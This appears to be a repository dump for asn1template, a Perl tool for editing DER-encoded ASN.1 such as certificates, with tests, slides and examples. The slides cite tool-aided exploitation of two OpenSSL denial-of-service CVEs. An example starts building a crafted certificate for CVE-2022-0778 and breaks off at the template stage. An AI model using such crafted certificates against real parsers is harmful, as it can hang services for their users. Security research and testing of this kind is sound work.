├── presentation_slides ├── pts2023 │ └── asn1template.pdf ├── hacklu2023_lightning_talk │ ├── README.md │ └── DER Editing, Easy-Peasy with asn1template.md └── uybhys-2024 │ ├── README.md │ └── uybhys-2024-asn1template-rump-session.patat.md ├── tests ├── run_tests.sh ├── test_crls.sh ├── test_pkcs7.sh ├── test_esim.sh └── test_certs.sh ├── CHANGES.md ├── .github └── workflows │ └── tests.yml ├── LICENSE.md ├── asn1template.pod ├── EXAMPLES.md ├── asn1template.pl └── README.md /presentation_slides/pts2023/asn1template.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wllm-rbnt/asn1template/HEAD/presentation_slides/pts2023/asn1template.pdf -------------------------------------------------------------------------------- /tests/run_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | ./tests/test_certs.sh 6 | ./tests/test_crls.sh 7 | ./tests/test_pkcs7.sh 8 | ./tests/test_esim.sh 9 | -------------------------------------------------------------------------------- /CHANGES.md: -------------------------------------------------------------------------------- 1 | ## [Version 1.0](https://github.com/wllm-rbnt/asn1template/releases/tag/v1.0) (2025-09-21) 2 | 3 | ### New features 4 | 5 | - Initial release 6 | 7 | -------------------------------------------------------------------------------- /presentation_slides/hacklu2023_lightning_talk/README.md: -------------------------------------------------------------------------------- 1 | Use [mdp](https://github.com/visit1985/mdp) to render the presentation: 2 | 3 | $ sudo apt install mdp 4 | $ mdp -f DER\ Editing,\ Easy-Peasy\ with\ asn1template.md 5 | 6 | -------------------------------------------------------------------------------- /.github/workflows/tests.yml: -------------------------------------------------------------------------------- 1 | name: tests 2 | on: [push] 3 | jobs: 4 | all-tests: 5 | runs-on: ubuntu-latest 6 | steps: 7 | - uses: actions/checkout@v4 8 | - run: ./tests/test_certs.sh 9 | - run: ./tests/test_crls.sh 10 | - run: ./tests/test_esim.sh 11 | - run: ./tests/test_pkcs7.sh 12 | -------------------------------------------------------------------------------- /presentation_slides/uybhys-2024/README.md: -------------------------------------------------------------------------------- 1 | Use [patat](https://github.com/jaspervdj/patat/releases) to render the presentation: 2 | 3 | Go to release page **https://github.com/jaspervdj/patat/releases** and download version 0.12.0.1 4 | 5 | or 6 | 7 | ```bash 8 | wget https://github.com/jaspervdj/patat/releases/download/v0.12.0.1/patat-v0.12.0.1-linux-x86_64.tar.gz 9 | tar xzf patat-v0.12.0.1-linux-x86_64.tar.gz patat-v0.12.0.1-linux-x86_64/patat 10 | patat-v0.12.0.1-linux-x86_64/patat uybhys-2024-asn1template-rump-session.patat.md 11 | ``` 12 | 13 | -------------------------------------------------------------------------------- /tests/test_crls.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | cd tests 6 | mkdir -p crls 7 | 8 | echo "### Testing CRLs ..." 9 | cd ./crls 10 | rm -f ./*tpl* ./*crl 11 | wget http://geant.crl.sectigo.com/GEANTOVRSACA4.crl -O GEANTOVRSACA4.crl 12 | wget http://crls.pki.goog/gts1c3/fVJxbV-Ktmk.crl -O fVJxbV-Ktmk.crl 13 | 14 | for i in ./*crl; do 15 | echo -n "${i} ... " 16 | ../../asn1template.pl "${i}" > "${i}.tpl" 17 | openssl asn1parse -genconf "${i}.tpl" -out "${i}.tpl.der" > /dev/null 2>&1 18 | diff "${i}" "${i}.tpl.der" > /dev/null 2>&1 && echo "ok" || echo "not ok" 19 | done 20 | -------------------------------------------------------------------------------- /tests/test_pkcs7.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | cd tests 6 | mkdir -p smime 7 | 8 | echo "### Testing PKCS7 S/MIME structures ..." 9 | cd ./smime 10 | rm -f ./*tpl* ./*p7s 11 | wget --timeout=2 https://www.mail-archive.com/atom-protocol@mail.imc.org/msg02042/smime.p7s -O msg02042_smime.p7s 12 | wget --timeout=2 https://www.mail-archive.com/sqlite-users@mailinglists.sqlite.org/msg03294/smime.p7s -O msg03294_smime.p7s 13 | for i in ./*p7s; do 14 | echo "${i} ... " 15 | ! ../../asn1template.pl "${i}" > "${i}.tpl" 16 | openssl asn1parse -genconf "${i}.tpl" -out "${i}.tpl.der" > /dev/null 2>&1 17 | ! diff "${i}" "${i}.tpl.der" > /dev/null 2>&1 && echo "ok" || echo "not ok" 18 | done 19 | -------------------------------------------------------------------------------- /tests/test_esim.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | cd tests 6 | mkdir -p esim 7 | 8 | echo "### Testing eSIM structures ..." 9 | cd ./esim 10 | rm -f ./*tpl* ./*der ./*unwrapped 11 | wget https://github.com/GSMATerminals/Generic-eUICC-Test-Profile-for-Device-Testing-Public/raw/84ba342b654425c283e02a16c10d487f6201cd01/GSMA_TS48_eSIM_GTP_Profile_Package_v5.zip 12 | unzip GSMA_TS48_eSIM_GTP_Profile_Package_v5.zip \*der 13 | while read -r i; do 14 | echo -n "${i} ... " 15 | ../../asn1template.pl -m "${i}" > "${i}.tpl" 16 | openssl asn1parse -genconf "${i}.tpl" -out "${i}.tpl.der" > /dev/null 2>&1 17 | ../../asn1template.pl -u "${i}.tpl.der" 18 | diff "${i}" "${i}.tpl.der.unwrapped" > /dev/null 2>&1 && echo "ok" || echo "not ok" 19 | done < <(ls -1 ./*der) 20 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2022-2025 William Robinet 2 | 3 | Permission to use, copy, modify, and distribute this software for any 4 | purpose with or without fee is hereby granted, provided that the above 5 | copyright notice and this permission notice appear in all copies. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 8 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 9 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 10 | ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 11 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 12 | ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 13 | OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 14 | -------------------------------------------------------------------------------- /tests/test_certs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | cd tests 6 | mkdir -p certs 7 | 8 | echo "### Testing server certificates" 9 | cd certs 10 | rm -f ./*tpl* ./*der 11 | 12 | remote_hosts="\ 13 | kernel.org \ 14 | apple.com \ 15 | microsoft.com \ 16 | office365.microsoft.com \ 17 | bing.com \ 18 | duckduckgo.com \ 19 | google.com \ 20 | gmail.com \ 21 | youtube.com \ 22 | github.com \ 23 | amazon.com \ 24 | facebook.com \ 25 | twitter.com \ 26 | x.com \ 27 | bsky.app \ 28 | yandex.ru \ 29 | akamai.com \ 30 | cloudflare.com \ 31 | ebay.co.jp \ 32 | mynic.my \ 33 | www.luxtrust.lu \ 34 | open.spotify.com \ 35 | xn--fiq228c.tw \ 36 | " 37 | 38 | for i in $remote_hosts; do 39 | echo -n "${i} ... " 40 | echo | openssl s_client -connect "${i}:443" 2>/dev/null | openssl x509 -out "${i}.der" -outform D 41 | ../../asn1template.pl "${i}.der" > "${i}.tpl" 42 | openssl asn1parse -genconf "${i}.tpl" -out "${i}.tpl.der" > /dev/null 2>&1 43 | diff "${i}.der" "${i}.tpl.der" > /dev/null 2>&1 && echo "ok" || echo "not ok" 44 | done 45 | -------------------------------------------------------------------------------- /asn1template.pod: -------------------------------------------------------------------------------- 1 | 2 | =head1 NAME 3 | 4 | asn1template - Convert encoded ASN.1 structures into OpenSSL's 5 | L configuration format 6 | 7 | =head1 SYNOPSIS 8 | 9 | asn1template [-h] [-p] [-s] [-m] filename 10 | asn1template [-u] [-p] filename 11 | 12 | =head1 DESCRIPTION 13 | 14 | B takes a DER or PEM encoded ASN.1 structure and outputs the 15 | equivalent textual description that can be edited and later be fed to OpenSSL's 16 | L function in order to build the equivalent DER encoded 17 | ASN.1 structure. 18 | 19 | =head1 OPTIONS 20 | 21 | =over 5 22 | 23 | =item B<-h|--help> 24 | 25 | Print out a brief Belp message. 26 | 27 | =item B<-p|--pem> 28 | 29 | Switch input file format to B

EM, default is DER. 30 | 31 | =item B<-s|--simple-labels> 32 | 33 | Print Bimple numeric labels instead of full labels composed of offset, header 34 | length and content length. 35 | 36 | =item B<-m|--multi-root> 37 | 38 | Process Bultiple concatenated encoded structures from a single input file. 39 | 40 | =item B<-u|--unwrap> 41 | 42 | Bnwrap top-level SEQUENCE. 43 | 44 | =back 45 | 46 | =head1 EXAMPLES 47 | 48 | Convert a DER encoded file: 49 | 50 | asn1template DER_file 51 | 52 | Convert a PEM encoded file: 53 | 54 | asn1template -p PEM_file 55 | 56 | Convert a PEM encoded file using simplified labels: 57 | 58 | asn1template -p -s PEM_file 59 | 60 | Convert a multi-root DER encoded file: 61 | 62 | asn1template -m DER_file 63 | 64 | Unwrap top-level SEQUENCE from DER encoded file: 65 | 66 | asn1template -u DER_file 67 | 68 | Unwrap top-level SEQUENCE from PEM encoded file: 69 | 70 | asn1template -u -p PEM_file 71 | 72 | 73 | Print usage information: 74 | 75 | asn1template -h 76 | 77 | =head1 ENVIRONMENT 78 | 79 | B can be instructed to use an alternate B binary by 80 | setting the C environment variable. 81 | 82 | I: depending on your setup, you might want to reference or preload 83 | matching dynamic libraries such as B and B by 84 | setting C or C environment variables. 85 | 86 | =head1 SEE ALSO 87 | 88 | L, L 89 | 90 | =head1 AUTHOR 91 | 92 | asn1template was written William Robinet 93 | 94 | =cut 95 | -------------------------------------------------------------------------------- /presentation_slides/hacklu2023_lightning_talk/DER Editing, Easy-Peasy with asn1template.md: -------------------------------------------------------------------------------- 1 | %title: asn1template: Your DER Editing BFF 2 | %author: William Robinet - @wr@infosec.exchange - Conostix S.A. - https://github.com/wllm-rbnt/asn1template 3 | %date: 2023-10-19 4 | 5 | -> DER Editing, Easy-Peasy with asn1template <- 6 | ========= 7 | -> William Robinet <- 8 | -> Hack.lu - 2023-10-19 <- 9 | 10 | ------------------------------------------------- 11 | -> `DER` is binary TLV encoding for `ASN.1` <- 12 | 13 | 00000000 30 82 04 ef 30 82 03 d7 a0 03 02 01 02 02 12 03 |0...0...........| 14 | 00000010 0b 03 30 e1 3c aa df b5 51 f5 60 4a 77 6f 51 5f |..0.<...Q.`JwoQ_| 15 | 00000020 b6 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 |.0...*.H........| 16 | 00000030 30 32 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 |021.0...U....US1| 17 | 00000040 16 30 14 06 03 55 04 0a 13 0d 4c 65 74 27 73 20 |.0...U....Let's | 18 | 00000050 45 6e 63 72 79 70 74 31 0b 30 09 06 03 55 04 03 |Encrypt1.0...U..| 19 | 00000060 13 02 52 33 30 1e 17 0d 32 33 31 30 31 36 30 31 |..R30...23101601| 20 | 00000070 31 34 34 30 5a 17 0d 32 34 30 31 31 34 30 31 31 |1440Z..240114011| 21 | 00000080 34 33 39 5a 30 17 31 15 30 13 06 03 55 04 03 13 |439Z0.1.0...U...| 22 | 00000090 0c 32 30 32 33 2e 68 61 63 6b 2e 6c 75 30 82 01 |.2023.hack.lu0..| 23 | 000000a0 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 |"0...*.H........| 24 | 000000b0 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 d8 ae |.....0..........| 25 | 000000c0 55 47 20 b4 6f 96 f9 b2 34 2b 71 3d f5 dc 34 32 |UG .o...4+q=..42| 26 | 000000d0 9a ad 25 84 35 78 40 5a b4 80 a1 1e fd e8 5a 43 |..%.5x@Z......ZC| 27 | 000000e0 30 af 84 7f 3b c2 c6 a7 29 dd 99 e6 b7 e6 46 93 |0...;...).....F.| 28 | 000000f0 59 02 f9 81 05 60 90 70 00 af 66 70 fc 73 d5 cd |Y....`.p..fp.s..| 29 | 00000100 d4 af dc 97 95 4f 07 d7 28 bf 64 e0 39 f5 b0 c4 |.....O..(.d.9...| 30 | 00000110 5b 46 6b b2 db bd 80 6c 96 51 ba 06 05 13 7f 78 |[Fk....l.Q.....x| 31 | 00000120 58 96 b9 35 b3 b6 4b a2 bc ab 29 22 e6 d8 41 cc |X..5..K...)"..A.| 32 | [...] 33 | 34 | 35 | ------------------------------------------------- 36 | -> `openssl asn1parse` output format <- 37 | 38 | 8:d=2 hl=2 l= 3 cons: cont [ 0 ] 39 | 10:d=3 hl=2 l= 1 prim: INTEGER :02 40 | 13:d=2 hl=2 l= 18 prim: INTEGER :030B0330E13CAADFB55[...] 41 | 33:d=2 hl=2 l= 13 cons: SEQUENCE 42 | 35:d=3 hl=2 l= 9 prim: OBJECT :sha256WithRSAEncryption 43 | 46:d=3 hl=2 l= 0 prim: NULL 44 | 48:d=2 hl=2 l= 50 cons: SEQUENCE 45 | 50:d=3 hl=2 l= 11 cons: SET 46 | 52:d=4 hl=2 l= 9 cons: SEQUENCE 47 | 54:d=5 hl=2 l= 3 prim: OBJECT :countryName 48 | 59:d=5 hl=2 l= 2 prim: PRINTABLESTRING :US 49 | 63:d=3 hl=2 l= 22 cons: SET 50 | 65:d=4 hl=2 l= 20 cons: SEQUENCE 51 | 67:d=5 hl=2 l= 3 prim: OBJECT :organizationName 52 | 72:d=5 hl=2 l= 13 prim: PRINTABLESTRING :Let's Encrypt 53 | 87:d=3 hl=2 l= 11 cons: SET 54 | 89:d=4 hl=2 l= 9 cons: SEQUENCE 55 | 91:d=5 hl=2 l= 3 prim: OBJECT :commonName 56 | 96:d=5 hl=2 l= 2 prim: PRINTABLESTRING :R3 57 | [...] 58 | 59 | 60 | ------------------------------------------------- 61 | -> `ASN1_generate_nconf(3)` input format <- 62 | 63 | asn1 = SEQUENCE:seq1@0-4-1263 64 | [seq1@0-4-1263] 65 | field2@4-4-983 = SEQUENCE:seq2@4-4-983 66 | field3@991-2-13 = SEQUENCE:seq3@991-2-13 67 | field4@1006-4-257 = FORMAT:HEX,BITSTRING:30C8DC02437D9C77C528ABEDAB90D491[...] 68 | [seq2@4-4-983] 69 | field5@8-2-3 = IMPLICIT:0C,SEQUENCE:seq4@8-2-3 70 | field6@13-2-18 = INTEGER:0x030B0330E13CAADFB551F5604A776F515FB6 71 | field7@33-2-13 = SEQUENCE:seq5@33-2-13 72 | field8@48-2-50 = SEQUENCE:seq6@48-2-50 73 | field9@100-2-30 = SEQUENCE:seq7@100-2-30 74 | field10@132-2-23 = SEQUENCE:seq8@132-2-23 75 | field11@157-4-290 = SEQUENCE:seq9@157-4-290 76 | field12@451-4-536 = IMPLICIT:3C,SEQUENCE:seq10@451-4-536 77 | [seq4@8-2-3] 78 | field13@10-2-1 = INTEGER:0x02 79 | [seq5@33-2-13] 80 | field14@35-2-9 = OBJECT:sha256WithRSAEncryption 81 | field15@46-2-0 = NULL 82 | [...] 83 | 84 | 85 | ------------------------------------------------- 86 | 87 | -> # asn1template <- 88 | 89 | -> `DER == ASN1_generate_nconf(asn1template(asn1parse(DER)))` <- 90 | 91 | - `openssl asn1parse` dumps the DER structure as text 92 | - [asn1template](https://github.com/wllm-rbnt/asn1template) converts this textual description to OpenSSL configuration syntax 93 | - `ASN1_generate_nconf(3)` generates a new DER structure (reachable through `-genconf` in `asn1parse`) 94 | 95 | - Infinite loop in BN_mod_sqrt() reachable when parsing certificates (CVE-2022-0778) 96 | - Possible DoS translating ASN.1 object identifiers (CVE-2023-2650) 97 | 98 | - Supports multi-root files (eSIM) 99 | 100 | 101 | ------------------------------------------------- 102 | -> # Demo <- 103 | 104 | - Retrieve 2023.hack.lu TLS certificate in `cert.der`: 105 | 106 | echo | openssl s_client -connect 2023.hack.lu:443 | openssl x509 -out cert.der -outform D 107 | 108 | - Convert TLS certificate to a template: 109 | 110 | asn1template.pl cert.der > cert.tpl 111 | 112 | - Edit cert.tpl (optional) 113 | - Generate (modified) certificate from template: 114 | 115 | openssl asn1parse -genconf cert.tpl -i -out cert.tpl.der 116 | 117 | - Visually compare original certificate against modified one: 118 | 119 | meld <(openssl asn1parse -in cert.der -i -inform D) <(openssl asn1parse -in cert.tpl.der -inform D -i) 120 | 121 | -------------------------------------------------------------------------------- /presentation_slides/uybhys-2024/uybhys-2024-asn1template-rump-session.patat.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'asn1template - Edition ASN.1 sans douleur' 3 | author: 'William Robinet (Conostix S.A.) - *https://github.com/wllm-rbnt/asn1template*' 4 | patat: 5 | wrap: true 6 | margins: 7 | left: auto 8 | right: auto 9 | top: auto 10 | transition: 11 | type: slideLeft 12 | duration: 0.2 13 | geometry: "left=1cm,right=1cm,top=1cm,bottom=1cm" 14 | output: pdf_document 15 | ... 16 | 17 | **Unlock Your Brain, Harden Your System 2024 - Brest** 18 | 19 | **asn1template - Edition ASN.1 sans douleur** 20 | 21 | William Robinet (Conostix S.A.) - 2024-11-09 22 | 23 | @wr@infosec.exchange - willi@mrobi.net 24 | 25 | --- 26 | 27 | 32 | 33 | # A TLS/SSL certificate is an encoded ASN.1 structure 34 | 35 | ```bash 36 | $ openssl x509 -in www.unlockyourbrain.bzh.der -inform der -noout -text 37 | Certificate: 38 | Data: 39 | Version: 3 (0x2) 40 | Serial Number: 41 | 03:8a:fb:a3:69:5d:18:e6:c8:eb:49:ea:ce:74:9f:ac:fb:21 42 | Signature Algorithm: sha256WithRSAEncryption 43 | Issuer: C = US, O = Let\'s Encrypt, CN = R10 44 | Validity 45 | Not Before: Sep 25 14:32:29 2024 GMT 46 | Not After : Dec 24 14:32:28 2024 GMT 47 | Subject: CN = front-webvps.diateam.net 48 | Subject Public Key Info: 49 | Public Key Algorithm: rsaEncryption 50 | Public-Key: (4096 bit) 51 | Modulus: 52 | 00:bb:76:b4:97:9b:8d:ef:7a:59:93:56:69:8f:20: 53 | [...] 54 | X509v3 Subject Alternative Name: 55 | DNS:2019.unlockyourbrain.bzh, DNS:2020.unlockyourbrain.bzh, [...] DNS:www2.bluecyforce.com 56 | [...] 57 | ``` 58 | --- 59 | 60 | 65 | 66 | # DER is binary T(ype) L(ength) V(alue) encoding for ASN.1 (1/2) 67 | 68 | ```bash 69 | $ openssl asn1parse -in www.unlockyourbrain.bzh.der -inform D -i 70 | 0:d=0 hl=4 l=1898 cons: SEQUENCE 71 | 4:d=1 hl=4 l=1618 cons: SEQUENCE 72 | 8:d=2 hl=2 l= 3 cons: cont [ 0 ] 73 | 10:d=3 hl=2 l= 1 prim: INTEGER :02 74 | 13:d=2 hl=2 l= 18 prim: INTEGER :038AFBA3695D18E6C8EB49EACE749FACFB21 75 | 33:d=2 hl=2 l= 13 cons: SEQUENCE 76 | 35:d=3 hl=2 l= 9 prim: OBJECT :sha256WithRSAEncryption 77 | 46:d=3 hl=2 l= 0 prim: NULL 78 | 48:d=2 hl=2 l= 51 cons: SEQUENCE 79 | 50:d=3 hl=2 l= 11 cons: SET 80 | 52:d=4 hl=2 l= 9 cons: SEQUENCE 81 | 54:d=5 hl=2 l= 3 prim: OBJECT :countryName 82 | 59:d=5 hl=2 l= 2 prim: PRINTABLESTRING :US 83 | 63:d=3 hl=2 l= 22 cons: SET 84 | 65:d=4 hl=2 l= 20 cons: SEQUENCE 85 | 67:d=5 hl=2 l= 3 prim: OBJECT :organizationName 86 | 72:d=5 hl=2 l= 13 prim: PRINTABLESTRING :Let´s Encrypt 87 | 87:d=3 hl=2 l= 12 cons: SET 88 | 89:d=4 hl=2 l= 10 cons: SEQUENCE 89 | 91:d=5 hl=2 l= 3 prim: OBJECT :commonName 90 | 96:d=5 hl=2 l= 3 prim: PRINTABLESTRING :R10 91 | 101:d=2 hl=2 l= 30 cons: SEQUENCE 92 | 103:d=3 hl=2 l= 13 prim: UTCTIME :240925143229Z 93 | 118:d=3 hl=2 l= 13 prim: UTCTIME :241224143228Z 94 | [...] 95 | ``` 96 | 97 | --- 98 | 99 | 104 | 105 | # DER is binary T(ype) L(ength) V(alue) encoding for ASN.1 (2/2) 106 | 107 | ```bash 108 | $ hexdump -C www.unlockyourbrain.bzh.der 109 | 00000000 30 82 07 6a 30 82 06 52 a0 03 02 01 02 02 12 03 |0..j0..R........| 110 | 00000010 8a fb a3 69 5d 18 e6 c8 eb 49 ea ce 74 9f ac fb |...i]....I..t...| 111 | 00000020 21 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 |!0...*.H........| 112 | 00000030 30 33 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 |031.0...U....US1| 113 | 00000040 16 30 14 06 03 55 04 0a 13 0d 4c 65 74 27 73 20 |.0...U....Let´s | 114 | 00000050 45 6e 63 72 79 70 74 31 0c 30 0a 06 03 55 04 03 |Encrypt1.0...U..| 115 | 00000060 13 03 52 31 30 30 1e 17 0d 32 34 30 39 32 35 31 |..R100...2409251| 116 | 00000070 34 33 32 32 39 5a 17 0d 32 34 31 32 32 34 31 34 |43229Z..24122414| 117 | 00000080 33 32 32 38 5a 30 23 31 21 30 1f 06 03 55 04 03 |3228Z0#1!0...U..| 118 | 00000090 13 18 66 72 6f 6e 74 2d 77 65 62 76 70 73 2e 64 |..front-webvps.d| 119 | 000000a0 69 61 74 65 61 6d 2e 6e 65 74 30 82 02 22 30 0d |iateam.net0.. 0.| 120 | [...] 121 | 00000410 30 32 32 2e 75 6e 6c 6f 63 6b 79 6f 75 72 62 72 |022.unlockyourbr| 122 | 00000420 61 69 6e 2e 62 7a 68 82 18 32 30 32 33 2e 75 6e |ain.bzh..2023.un| 123 | 00000430 6c 6f 63 6b 79 6f 75 72 62 72 61 69 6e 2e 62 7a |lockyourbrain.bz| 124 | 00000440 68 82 0f 62 6c 75 65 63 79 66 6f 72 63 65 2e 63 |h..bluecyforce.c| 125 | 00000450 6f 6d 82 11 64 65 76 2e 62 72 65 69 7a 68 63 74 |om..dev.breizhct| 126 | 00000460 66 2e 63 6f 6d 82 0b 64 69 61 74 65 61 6d 2e 6e |f.com..diateam.n| 127 | 00000470 65 74 82 18 66 72 6f 6e 74 2d 77 65 62 76 70 73 |et..front-webvps| 128 | 00000480 2e 64 69 61 74 65 61 6d 2e 6e 65 74 82 10 68 6e |.diateam.net..hn| 129 | 00000490 73 2d 70 6c 61 74 66 6f 72 6d 2e 63 6f 6d 82 0b |s-platform.com..| 130 | [...] 131 | ``` 132 | 133 | --- 134 | 135 | 140 | 141 | # PEM is a text encoding used for transporting binary data such as DER 142 | 143 | ```bash 144 | $ cat www.unlockyourbrain.bzh.pem 145 | -----BEGIN CERTIFICATE----- 146 | MIIHajCCBlKgAwIBAgISA4r7o2ldGObI60nqznSfrPshMA0GCSqGSIb3DQEBCwUA 147 | MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD 148 | EwNSMTAwHhcNMjQwOTI1MTQzMjI5WhcNMjQxMjI0MTQzMjI4WjAjMSEwHwYDVQQD 149 | Exhmcm9udC13ZWJ2cHMuZGlhdGVhbS5uZXQwggIiMA0GCSqGSIb3DQEBAQUAA4IC 150 | DwAwggIKAoICAQC7drSXm43velmTVmmPIC5oClUvxNKwqFVSymsId9C4LFKqURxa 151 | hVlqQqMxP1EqYjfWZzXT9bvZkfqiAKobhj4AVa3zbQYzoccQQDJOvkRhAgK9BOCk 152 | [...] 153 | 62EgtmxIHgM5Pn1IiWen4Cw5WgHnoJ9FnhDs7xdNUu7Wt/KofhS3oFzWUVnxiegv 154 | owGdbi13Mmeje9Riy67uMGFnzBsOwPyPR8vPhXn0bpZwy9cEZliMmyY4nyIxu48w 155 | EyogD6o8sijU1JjBos9488f5c7x4Y6+rkNL7pkbdzxV2mOmVOeiTzrIotkOt5a4M 156 | hMPfT0/chMiOyTeKJkzraOcRNR9qM22P2viz2/2IeVC8yG7US2MRTMOLJGo9k3OL 157 | cPlmSHycMhkXTPx1gdcm7oPJl7LJ7QhElUtlq6pI 158 | -----END CERTIFICATE----- 159 | ``` 160 | 161 | --- 162 | 163 | 168 | 169 | # OpenSSL's ASN1\_generate_nconf(3) function 170 | 171 | ```bash 172 | $ man ASN1_generate_nconf 173 | NAME 174 | ASN1_generate_nconf, ASN1_generate_v3 - ASN1 string generation functions 175 | 176 | [...] 177 | DESCRIPTION 178 | These functions generate the ASN1 encoding of a string in an ASN1_TYPE structure. 179 | [...] 180 | ``` 181 | 182 | # Idea 183 | 184 | DER_file == ASN1_generate_nconf( **do_something_with_the_output** ( asn1parse( DER_file ) ) ) 185 | 186 | *ASN1\_generate_nconf* can be reached through the *-genconf* option of *openssl asn1parse*. 187 | 188 | --- 189 | 190 | 195 | 196 | # asn1template 197 | 198 | *https://github.com/wllm-rbnt/asn1template* 199 | 200 | The usage process: 201 | 202 | - *openssl asn1parse* dumps the DER structure as text 203 | - *asn1template* converts this textual description to OpenSSL configuration syntax 204 | - *ASN1_generate_nconf(3)* generates a new DER structure (reachable through -genconf in asn1parse) 205 | 206 | Easy exploitation of recent vulns: 207 | 208 | - Infinite loop in BN\_mod\_sqrt() reachable when parsing certificates (CVE-2022-0778) 209 | - Possible DoS translating ASN.1 object identifiers (CVE-2023-2650) 210 | 211 | Bonus: 212 | 213 | - Supports multi-root files (eSIM) 214 | 215 | --- 216 | 217 | 222 | 223 | # Demo 224 | 225 | - Retrieve *www.unlockyourbrain.bzh* TLS certificate in cert.der: 226 | 227 | ```bash 228 | $ echo | openssl s_client -connect www.unlockyourbrain.bzh:443 | openssl x509 -out cert.der -outform D 229 | ``` 230 | 231 | - Convert TLS certificate to a template: 232 | 233 | ```bash 234 | $ asn1template.pl cert.der > cert.tpl 235 | ``` 236 | 237 | - Edit cert.tpl (optional) 238 | - Generate (modified) certificate from template: 239 | 240 | ```bash 241 | $ openssl asn1parse -genconf cert.tpl -i -out cert.tpl.der 242 | ``` 243 | 244 | - Visually compare original certificate against modified one: 245 | 246 | ```bash 247 | $ diff -u cert.der cert.tpl.der 248 | $ meld <(openssl asn1parse -in cert.der -inform D -i) <(openssl asn1parse -in cert.tpl.der -inform D -i) 249 | ``` 250 | 251 | --- 252 | 253 | 258 | 259 | **Thanks for your attention !** 260 | 261 | -------------------------------------------------------------------------------- /EXAMPLES.md: -------------------------------------------------------------------------------- 1 | # ASN.1 templating - Examples 2 | 3 | ## Example #1 - DER Encoded Certificate 4 | 5 | Take an arbitrary DER encoded certificate: 6 | 7 | ```console 8 | $ wget -o /dev/null https://pki.goog/repo/certs/gtsr1.der 9 | ``` 10 | 11 | Convert it to an ASN1_generate_nconf(3) compatible textual description: 12 | 13 | ```console 14 | $ ./asn1template.pl gtsr1.der > gtsr1.tpl 15 | ``` 16 | 17 | Convert it back to DER encoded ASN.1 with ASN1_generate_nconf(3): 18 | 19 | ```console 20 | $ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.der 21 | ``` 22 | 23 | Original and recreated DER files are identical: 24 | ```console 25 | $ diff gtsr1.der gtsr1_new.der 26 | $ echo $? 27 | 0 28 | ``` 29 | 30 | ## Example #2 - CVE-2022-0778 31 | 32 | This example is related to CVE-2022-0778. It is based on 33 | https://github.com/drago-96/CVE-2022-0778 and this particular PR 34 | https://github.com/drago-96/CVE-2022-0778/pull/4 . 35 | 36 | Following the details presented in https://github.com/drago-96/CVE-2022-0778/pull/4 , first, generate a new EC private key: 37 | ```console 38 | $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed 39 | ``` 40 | 41 | Then use it to generate a self signed certificate: 42 | ```console 43 | $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/" 44 | ``` 45 | 46 | We can then generate a template from this certificate: 47 | ```console 48 | $ ./asn1template.pl cert.der > cert.tpl 49 | $ cat cert.tpl 50 | asn1 = SEQUENCE:seq1@0-4-583 51 | [seq1@0-4-583] 52 | field2@4-4-493 = SEQUENCE:seq2@4-4-493 53 | field3@501-2-10 = SEQUENCE:seq3@501-2-10 54 | field4@513-2-72 = FORMAT:HEX,BITSTRING:304502203C5C763C73F1CD1E74A0587B02F87DDABE1506F77C8330E81F012DE4EE1447B6022100D8B0192CC9B8E824A424EA2947697991F72A1FBCC7F1F48394B16E91D0D6D16C 55 | [seq2@4-4-493] 56 | field5@8-2-3 = IMPLICIT:0C,SEQUENCE:seq4@8-2-3 57 | field6@13-2-20 = INTEGER:0x3D81E9817BE34F53F6F6B0DA5C7D0920DFDAB4BF 58 | field7@35-2-10 = SEQUENCE:seq5@35-2-10 59 | field8@47-2-15 = SEQUENCE:seq6@47-2-15 60 | field9@64-2-30 = SEQUENCE:seq7@64-2-30 61 | field10@96-2-15 = SEQUENCE:seq8@96-2-15 62 | field11@113-4-299 = SEQUENCE:seq9@113-4-299 63 | field12@416-2-83 = IMPLICIT:3C,SEQUENCE:seq10@416-2-83 64 | [seq4@8-2-3] 65 | field13@10-2-1 = INTEGER:0x02 66 | [seq5@35-2-10] 67 | field14@37-2-8 = OBJECT:ecdsa-with-SHA256 68 | [seq6@47-2-15] 69 | field15@49-2-13 = SET:set11@49-2-13 70 | [set11@49-2-13] 71 | field16@51-2-11 = SEQUENCE:seq12@51-2-11 72 | [seq12@51-2-11] 73 | field17@53-2-3 = OBJECT:commonName 74 | field18@58-2-4 = FORMAT:UTF8,UTF8String:"TEST" 75 | [seq7@64-2-30] 76 | field19@66-2-13 = UTCTIME:220818134153Z 77 | field20@81-2-13 = UTCTIME:230813134153Z 78 | [seq8@96-2-15] 79 | field21@98-2-13 = SET:set13@98-2-13 80 | [set13@98-2-13] 81 | field22@100-2-11 = 